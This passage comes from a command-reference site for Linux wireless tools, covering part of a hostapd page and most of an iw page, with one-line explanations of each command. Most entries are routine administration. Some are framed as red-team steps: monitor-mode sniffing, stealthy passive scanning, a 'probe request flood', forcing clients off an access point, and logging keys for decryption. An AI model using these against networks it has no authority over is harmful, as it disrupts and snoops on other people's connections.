'interface=wlan0\nssid=MFP-Strict\nwpa=2\nieee80211w=2\n' > hostapd.conf && hostapd hostapd.conf ```bash printf 'interface=wlan0\nssid=MFP-Strict\nwpa=2\nieee80211w=2\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate Strict MFP config and run ``` Enforces Management Frame Protection (PMF) to block deauthentication attacks ## Purple Team Validation (VLAN Tagging) ### printf 'interface=wlan0\nssid=VLAN-AP\ndynamic_vlan=1\nvlan_file=hostapd.vlan\n' > hostapd.conf && hostapd hostapd.conf ```bash printf 'interface=wlan0\nssid=VLAN-AP\ndynamic_vlan=1\nvlan_file=hostapd.vlan\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate Dynamic VLAN config and run ``` Configures dynamic VLAN assignment based on RADIUS attributes or station MAC addresses ## Runtime Control ### hostapd_cli -p /var/run/hostapd ping ```bash hostapd_cli -p /var/run/hostapd ping ``` Example: ```bash hostapd_cli ping ``` Pings the running hostapd daemon to verify the control interface is responsive ### hostapd_cli all_sta ```bash hostapd_cli all_sta ``` Lists all currently associated stations (clients) along with their statistics ### hostapd_cli deauthenticate 00:11:22:33:44:55 ```bash hostapd_cli deauthenticate 00:11:22:33:44:55 ``` Example: ```bash hostapd_cli deauthenticate ``` Forces a specific client to disconnect from the access point immediately ### hostapd_cli disassociate 00:11:22:33:44:55 ```bash hostapd_cli disassociate 00:11:22:33:44:55 ``` Example: ```bash hostapd_cli disassociate ``` Disassociates a client, effectively kicking them off but allowing immediate reconnection attempts ### hostapd_cli set deny_mac_file hostapd.new_deny ```bash hostapd_cli set deny_mac_file hostapd.new_deny ``` Example: ```bash hostapd_cli set deny_mac_file /tmp/new_deny ``` Dynamically updates the path to the MAC deny list file without restarting the AP ### hostapd_cli reload ```bash hostapd_cli reload ``` Reloads the configuration file to apply changes like updated MAC lists ### hostapd_cli wps_pbc ```bash hostapd_cli wps_pbc ``` Activates WPS Push Button Configuration mode for the next two minutes ### hostapd_cli wps_pin any 12345670 ```bash hostapd_cli wps_pin any 12345670 ``` Registers a specific WPS PIN to allow a client to connect using that PIN ### hostapd_cli get_config ```bash hostapd_cli get_config ``` Retrieves and displays the current runtime configuration details of the AP ### hostapd_cli log_level DEBUG ```bash hostapd_cli log_level DEBUG ``` Dynamically changes the logging verbosity to DEBUG while the AP is running ## Advanced Troubleshooting ### hostapd -t -K -f /tmp/hostapd_debug.log hostapd.conf ```bash hostapd -t -K -f /tmp/hostapd_debug.log hostapd.conf ``` Example: ```bash hostapd -t -K -f /tmp/debug.log hostapd.conf ``` Runs hostapd logging keys and timestamps to a file for offline packet decryption analysis ### hostapd_cli sta 00:11:22:33:44:55 ```bash hostapd_cli sta 00:11:22:33:44:55 ``` Example: ```bash hostapd_cli sta ``` Shows detailed statistics for a single connected client including signal strength and packet counts ## Hotspot 2.0 (Passpoint) ### printf 'interface=wlan0\nssid=PasspointAP\ninterworking=1\naccess_network_type=0\ninternet=1\n' > hostapd.conf && hostap ```bash printf 'interface=wlan0\nssid=PasspointAP\ninterworking=1\naccess_network_type=0\ninternet=1\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate Basic Passpoint config and run ``` Enables Interworking bits to advertise Hotspot 2.0 capabilities to compatible clients ## Channel Switch Announcement ### hostapd_cli chan_switch 5 5180 ```bash hostapd_cli chan_switch 5 5180 ``` Example: ```bash hostapd_cli chan_switch ``` Initiates a Channel Switch Announcement (CSA) moving the AP to a new frequency after 5 beacons ## Airtime Fairness ### printf 'interface=wlan0\nssid=FairAP\nwsmm_ac_vo_aifs=2\nwsmm_ac_vi_aifs=2\n' > hostapd.conf && hostapd hostapd.conf ```bash printf 'interface=wlan0\nssid=FairAP\nwsmm_ac_vo_aifs=2\nwsmm_ac_vi_aifs=2\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate WMM AIFS config and run ``` Tunes WMM parameters (AIFS) to prioritize Voice/Video traffic or enforce airtime fairness ## Incident Response Simulation ### printf 'interface=wlan0\nssid=ForensicHoneypot\nwpa=2\nwpa_passphrase=honeyhoney\nlogger_syslog=1\nlogger_syslog_level=0 ```bash printf 'interface=wlan0\nssid=ForensicHoneypot\nwpa=2\nwpa_passphrase=honeyhoney\nlogger_syslog=1\nlogger_syslog_level=0\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate Honeypot config and run ``` Deploys a honeypot AP that logs all events to syslog for SIEM ingestion and incident simulation ## Dynamic Frequency Selection (DFS) ### printf 'interface=wlan0\nssid=DFS-Test\nhw_mode=a\nchannel=52\nieee80211h=1\n' > hostapd.conf && hostapd hostapd.conf ```bash printf 'interface=wlan0\nssid=DFS-Test\nhw_mode=a\nchannel=52\nieee80211h=1\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate DFS Channel config and run ``` Configures the AP on a DFS channel (52) requiring radar detection (802.11h) enabled ## Fast BSS Transition (802.11r) ### printf 'interface=wlan0\nssid=RoamingAP\nwpa=2\nwpa_passphrase=roamingpass\nieee80211r=1\nmobility_domain=a1b2\n' > host ```bash printf 'interface=wlan0\nssid=RoamingAP\nwpa=2\nwpa_passphrase=roamingpass\nieee80211r=1\nmobility_domain=a1b2\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate FT 802.11r config and run ``` Enables Fast Transition (FT) to allow clients to roam quickly between APs in the same mobility domain ## Protection Mechanisms ### printf 'interface=wlan0\nssid=ProtMode\nhw_mode=g\nchannel=6\nrts_threshold=2347\nfragm_threshold=2346\n' > hostapd.conf ```bash printf 'interface=wlan0\nssid=ProtMode\nhw_mode=g\nchannel=6\nrts_threshold=2347\nfragm_threshold=2346\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate RTS/Frag config and run ``` Adjusts RTS and Fragmentation thresholds to manage collisions in noisy environments ## Client Load Balancing ### printf 'interface=wlan0\nssid=LoadBalanceAP\nmax_num_sta=10\n' > hostapd.conf && hostapd hostapd.conf ```bash printf 'interface=wlan0\nssid=LoadBalanceAP\nmax_num_sta=10\n' > hostapd.conf && hostapd hostapd.conf ``` Example: ```bash Generate Max Clients config and run ``` Limits the maximum number of associated stations to 10 to force load balancing to other APs ## Automation Workflow ### hostapd -B hostapd.conf && sleep 5 && hostapd_cli ping && echo 'AP Started' ```bash hostapd -B hostapd.conf && sleep 5 && hostapd_cli ping && echo 'AP Started' ``` Example: ```bash hostapd -B conf && check status ``` Automation sequence to start hostapd, wait for initialization, and verify responsiveness ## Cleanup ### killall hostapd ```bash killall hostapd ``` Stops all running hostapd instances immediately ### rm -f /var/run/hostapd/* ```bash rm -f /var/run/hostapd/* ``` Cleans up stale control interface sockets to prevent binding errors on restart ### ip link set wlan0 down && ip addr flush dev wlan0 ```bash ip link set wlan0 down && ip addr flush dev wlan0 ``` Example: ```bash ip link set wlan0 down ``` Resets the wireless interface state to default after stopping the access point ## Related tools - [iw](https://terminal.rokibulroni.com/tool/wireless/iw) - [airmon-ng](https://terminal.rokibulroni.com/tool/wireless/airmon-ng) # Tool: iw > The modern nl80211 tool for configuring Linux wireless devices: scan, set channels, switch modes and inspect capabilities. - Category: Wireless - Commands: 100 - Page: https://terminal.rokibulroni.com/tool/wireless/iw - Homepage: https://wireless.docs.kernel.org/en/latest/en/users/documentation/iw.html - Documentation: https://wireless.docs.kernel.org/en/latest/en/users/documentation/iw.html - Tags: Wi-Fi, configuration, Linux ## Install - apt: `sudo apt install iw` ## Basic Syntax & Help ### iw help ```bash iw help ``` Displays the summary of all available iw commands and usage syntax ### iw --version ```bash iw --version ``` Prints the installed version of the iw tool ## Wireless Device Enumeration ### iw list ```bash iw list ``` Lists all physical wireless devices and details their hardware capabilities ### iw dev ```bash iw dev ``` Lists all logical wireless interfaces currently recognized by the kernel ### iw phy ```bash iw phy ``` Lists all physical wireless hardware (WPHY) present on the system ## Interface Information ### iw dev info ```bash iw dev info ``` Example: ```bash iw dev wlan0 info ``` Shows detailed configuration information for a specific wireless interface ### iw dev link ```bash iw dev link ``` Example: ```bash iw dev wlan0 link ``` Displays current link status including connected SSID, frequency, and signal strength ## Scanning & Discovery ### iw dev scan ```bash iw dev scan ``` Example: ```bash iw dev wlan0 scan ``` Initiates a standard active scan for available wireless networks ### iw dev scan passive ```bash iw dev scan passive ``` Example: ```bash iw dev wlan0 scan passive ``` Performs a passive scan without sending probe requests to remain stealthy ### iw dev scan -u ```bash iw dev scan -u ``` Example: ```bash iw dev wlan0 scan -u ``` Scans for networks and prints results with human-readable formatting ### iw dev scan freq ```bash iw dev scan freq ``` Example: ```bash iw dev wlan0 scan freq 2412 ``` Scans only a specific frequency to save time and reduce noise ### iw dev scan ssid ```bash iw dev scan ssid ``` Example: ```bash iw dev wlan0 scan ssid "LabWifi" ``` Initiates an active directed scan specifically for a target SSID ### iw dev scan dump ```bash iw dev scan dump ``` Example: ```bash iw dev wlan0 scan dump ``` Displays the results of the most recent scan buffer without scanning again ### iw dev scan trigger ```bash iw dev scan trigger ``` Example: ```bash iw dev wlan0 scan trigger ``` Triggers a background scan without immediately waiting for or printing results ## Interface Mode Management ### iw dev set type managed ```bash iw dev set type managed ``` Example: ```bash iw dev wlan0 set type managed ``` Sets the interface to managed mode for standard client station operations ### iw dev set type monitor ```bash iw dev set type monitor ``` Example: ```bash iw dev wlan0 set type monitor ``` Sets the interface to monitor mode for packet sniffing and traffic analysis ### iw dev set type ibss ```bash iw dev set type ibss ``` Example: ```bash iw dev wlan0 set type ibss ``` Sets the interface to Ad-Hoc (IBSS) mode for peer-to-peer networking ### iw dev set type ap ```bash iw dev set type ap ``` Example: ```bash iw dev wlan0 set type ap ``` Sets the interface to Access Point mode to broadcast a network ### iw dev set type wds ```bash iw dev set type wds ``` Example: ```bash iw dev wlan0 set type wds ``` Sets the interface to Wireless Distribution System mode for bridging ## Virtual Interface Management ### iw phy interface add type ```bash iw phy interface add type ``` Example: ```bash iw phy phy0 interface add mon0 type monitor ``` Creates a new virtual interface on the specified physical hardware ### iw dev del ```bash iw dev del ``` Example: ```bash iw dev mon0 del ``` Deletes a specific virtual wireless interface from the system ### iw dev set name ```bash iw dev set name ``` Example: ```bash iw dev wlan0 set name wifi0 ``` Renames a wireless interface to a new custom identifier ## Frequency & Channel Control ### iw dev set freq ```bash iw dev set freq ``` Example: ```bash iw dev wlan0 set freq 2412 ``` Forces the interface to listen or transmit on a specific frequency in MHz ### iw dev set channel ```bash iw dev set channel ``` Example: ```bash iw dev wlan0 set channel 6 ``` Sets the interface to a specific channel number on the 2.4GHz band ### iw dev set freq ```bash iw dev set freq ``` Example: ```bash iw dev wlan0 set freq 5180 80MHz ``` Sets frequency with a specific channel width for high throughput testing ### iw dev set freq HT20 ```bash iw dev set freq HT20 ``` Example: ```bash iw dev wlan0 set freq 2412 HT20 ``` Sets the frequency enforcing a standard 20MHz High Throughput width ### iw dev set freq HT40+ ```bash iw dev set freq HT40+ ``` Example: ```bash iw dev wlan0 set freq 2437 HT40+ ``` Sets the frequency enforcing 40MHz width with the secondary channel above ### iw dev set freq HT40- ```bash iw dev set freq HT40- ``` Example: ```bash iw dev wlan0 set freq 2437 HT40- ``` Sets the frequency enforcing 40MHz width with the secondary channel below ## TX Power Configuration ### iw dev set txpower fixed ```bash iw dev set txpower fixed ``` Example: ```bash iw dev wlan0 set txpower fixed 2000 ``` Sets a fixed transmit power in millibels (2000 mBm = 20 dBm) ### iw dev set txpower auto ```bash iw dev set txpower auto ``` Example: ```bash iw dev wlan0 set txpower auto ``` Allows the hardware to automatically manage transmit power levels ### iw dev set txpower limit ```bash iw dev set txpower limit ``` Example: ```bash iw dev wlan0 set txpower limit 1000 ``` Sets a maximum upper limit for transmit power output ## Regulatory Management ### iw reg get ```bash iw reg get ``` Displays the current regulatory domain and frequency constraints ### iw reg set ```bash iw reg set ``` Example: ```bash iw reg set US ``` Sets the regulatory domain to a specific country code like US or JP ## Connection Management ### iw dev connect ```bash iw dev connect ``` Example: ```bash iw dev wlan0 connect "GuestNet" ``` Attempts to connect to an open wireless network with the specified SSID ### iw dev connect ```bash iw dev connect ``` Example: ```bash iw dev wlan0 connect "GuestNet" 2412 ``` Connects to a specific SSID on a forced frequency channel ### iw dev connect key 0: ```bash iw dev connect key 0: ``` Example: ```bash iw dev wlan0 connect "WEPNET" key 0:ABCDE ``` Connects to a legacy WEP network using a specific key index ### iw dev disconnect ```bash iw dev disconnect ``` Example: ```bash iw dev wlan0 disconnect ``` Disconnects the interface from the current Access Point ### iw dev auth ```bash iw dev auth ``` Example: ```bash iw dev wlan0 auth "SecureNet" ``` Initiates authentication sequence without full association ## Station & Peer Inspection ### iw dev station dump ```bash iw dev station dump ``` Example: ```bash iw dev wlan0 station dump ``` Dumps statistics for all currently connected stations or peers ### iw dev station get ```bash iw dev station get ``` Example: ```bash iw dev wlan0 station get 00:11:22:33:44:55 ``` Retrieves detailed signal and throughput stats for a specific station MAC ### iw dev station del ```bash iw dev station del ``` Example: ```bash iw dev wlan0 station del 00:11:22:33:44:55 ``` Forcibly removes a station from the driver's internal table ## Power Save Configuration ### iw dev get power_save ```bash iw dev get power_save ``` Example: ```bash iw dev wlan0 get power_save ``` Checks the current power save mode status of the interface ### iw dev set power_save on ```bash iw dev set power_save on ``` Example: ```bash iw dev wlan0 set power_save on ``` Enables power saving mode to conserve energy during inactivity ### iw dev set power_save off ```bash iw dev set power_save off ``` Example: ```bash iw dev wlan0 set power_save off ``` Disables power saving to ensure maximum performance and consistent Rx/Tx ## Bitrate Configuration ### iw dev set bitrates legacy-2.4 ```bash iw dev set bitrates legacy-2.4 ``` Example: ```bash iw dev wlan0 set bitrates legacy-2.4 1 2 5.5 11 ``` Forces the interface to use specific legacy 802.11b bitrates ### iw dev set bitrates ht-mcs-2.4 ```bash iw dev set bitrates ht-mcs-2.4 ``` Example: ```bash iw dev wlan0 set bitrates ht-mcs-2.4 0 1 2 3 ``` Restricts the interface to use specific HT MCS indexes on 2.4GHz ## Advanced Monitor Config ### iw dev set monitor none ```bash iw dev set monitor none ``` Example: ```bash iw dev wlan0 set monitor none ``` Disables all specific monitor mode flags for a raw capture state ### iw dev set monitor fcsfail ```bash iw dev set monitor fcsfail ``` Example: ```bash iw dev wlan0 set monitor fcsfail ``` Configures monitor mode to pass packets with bad checksums (FCS errors) ### iw dev set monitor control ```bash iw dev set monitor control ``` Example: ```bash iw dev wlan0 set monitor control ``` Configures monitor mode to capture 802.11 control frames like RTS/CTS ### iw dev set monitor otherbss ```bash iw dev set monitor otherbss ``` Example: ```bash iw dev wlan0 set monitor otherbss ``` Configures monitor mode to capture traffic from other BSSIDs ### iw dev set monitor cook ```bash iw dev set monitor cook ``` Example: ```bash iw dev wlan0 set monitor cook ``` Enables cooked monitor mode where the hardware handles some processing ## Event Monitoring ### iw event ```bash iw event ``` Monitors and displays wireless kernel events in real-time ### iw event -t ```bash iw event -t ``` Monitors wireless events and prepends a timestamp to each line ### iw event -f ```bash iw event -f ``` Monitors wireless events and prints full details for each event ## Mesh Networking ### iw dev mesh join ```bash iw dev mesh join ``` Example: ```bash iw dev wlan0 mesh join "CityMesh" ``` Joins an 802.11s mesh network with the specified ID ### iw dev mesh leave ```bash iw dev mesh leave ``` Example: ```bash iw dev wlan0 mesh leave ``` Leaves the currently joined mesh network ### iw dev mpath dump ```bash iw dev mpath dump ``` Example: ```bash iw dev wlan0 mpath dump ``` Dumps the current mesh path routing table ## Ad-Hoc Networking ### iw dev ibss join ```bash iw dev ibss join ``` Example: ```bash iw dev wlan0 ibss join "AdHocNet" 2412 ``` Joins or creates an IBSS Ad-Hoc network on a specific frequency ### iw dev ibss leave ```bash iw dev ibss leave ``` Example: ```bash iw dev wlan0 ibss leave ``` Leaves the current IBSS Ad-Hoc network ## 4-Address Mode ### iw dev set 4addr on ```bash iw dev set 4addr on ``` Example: ```bash iw dev wlan0 set 4addr on ``` Enables 4-address mode usually required for WDS bridging or virtualization ### iw dev set 4addr off ```bash iw dev set 4addr off ``` Example: ```bash iw dev wlan0 set 4addr off ``` Disables 4-address mode returning to standard 3-address addressing ## PHY Configuration ### iw phy set distance ```bash iw phy set distance ``` Example: ```bash iw phy phy0 set distance 1000 ``` Sets the coverage class distance in meters to adjust ACK timeouts ### iw phy set netns ```bash iw phy set netns ``` Example: ```bash iw phy phy0 set netns 1234 ``` Moves the entire physical wireless card into a different network namespace ### iw phy set rts ```bash iw phy set rts ``` Example: ```bash iw phy phy0 set rts 500 ``` Sets the RTS threshold to control collision avoidance for packet sizes ### iw phy set frag ```bash iw phy set frag ``` Example: ```bash iw phy phy0 set frag 256 ``` Sets the fragmentation threshold to split large packets ## Advanced Vendor Commands ### iw dev vendor recvbin ```bash iw dev vendor recvbin ``` Example: ```bash iw dev wlan0 vendor recvbin 0x001374 0x01 ``` Sends a vendor-specific command and receives binary output data ## Red Team Workflow ### iw dev set noack_map ```bash iw dev set noack_map ``` Example: ```bash iw dev wlan0 set noack_map 0x0001 ``` Sets the NoACK map to disable acknowledgments for specific traffic classes ### iw phy interface add mon0 type monitor flags none ```bash iw phy interface add mon0 type monitor flags none ``` Example: ```bash iw phy phy0 interface add mon0 type monitor flags none ``` Creates a clean monitor interface with no filtering flags for full capture ### iw dev scan passive dump ```bash iw dev scan passive dump ``` Example: ```bash iw dev mon0 scan passive dump ``` Dumps scan results collected passively to avoid revealing presence ### iw dev set channel ```bash iw dev set channel ``` Example: ```bash iw dev mon0 set channel 1 20MHz ``` Locks monitor interface to channel 1 with 20MHz width for targeted sniffing ### iw dev scan trigger freq ```bash iw dev scan trigger freq ``` Example: ```bash iw dev wlan0 scan trigger freq 2412 ``` Triggers a probe request flood on a single frequency by scanning repeatedly ## Blue Team Workflow ### iw dev station dump ```bash iw dev station dump ``` Example: ```bash iw dev wlan0 station dump ``` Periodically dumps station info to detect rogue devices or unauthorized connections ### iw dev link ```bash iw dev link ``` Example: ```bash iw dev wlan0 link ``` Verifies that the defensive sensor is connected to the correct secure SSID ### iw list ```bash iw list ``` Audits supported ciphers and interface combinations to ensure hardware compliance ### iw reg get ```bash iw reg get ``` Checks if the regulatory domain has been tampered with or misconfigured ## Purple Team Workflow ### iw phy wowlan show ```bash iw phy wowlan show ``` Example: ```bash iw phy phy0 wowlan show ``` Inspects Wake-on-WLAN capabilities to test power management attacks ### iw dev get mesh_param ```bash iw dev get mesh_param ``` Example: ```bash iw dev wlan0 get mesh_param ``` Audits mesh parameters to validate routing security settings ### iw dev survey dump ```bash iw dev survey dump ``` Example: ```bash iw dev wlan0 survey dump ``` Dumps channel survey data to analyze noise floor and channel interference ### iw dev set type managed ```bash iw dev set type managed ``` Example: ```bash iw dev mon0 set type managed ``` Reverts monitor interface to managed to test defense recovery time ## Automation & Cleanup ### iw dev del ```bash iw dev del ``` Example: ```bash iw dev mon0 del ``` Removes temporary monitor interfaces created during the testing session ### iw dev set txpower auto ```bash iw dev set txpower auto ``` Example: ```bash iw dev wlan0 set txpower auto ``` Resets transmit power to default hardware control after testing ### iw reg set 00 ```bash iw reg set 00 ``` Resets regulatory domain to the world regulatory domain ## Advanced PHY Info ### iw phy channels ```bash iw phy channels ``` Example: ```bash iw phy phy0 channels ``` Shows detailed frequency and channel mapping for the hardware ### iw phy info ```bash iw phy info ``` Example: ```bash iw phy phy0 info ``` Displays exhaustive capabilities including VHT/HE support and antenna chains ## Access Point Config ### iw dev set channel ```bash iw dev set channel ``` Example: ```bash iw dev wlan0 set channel 36 80MHz 42 ``` Sets complex channel width with center frequencies for VHT AP setup ## Debugging ### iw dev dump ```bash iw dev dump ``` Example: ```bash iw dev wlan0 dump ``` Dumps internal interface state for debugging driver issues ## Packet Injection Prep ### iw dev set type monitor flags fcsfail ```bash iw dev set type monitor flags fcsfail ``` Example: ```bash iw dev wlan0 set type monitor flags fcsfail ``` Sets monitor mode and allows bad FCS frames to improve injection analysis ## Off-Channel Operation ### iw dev roc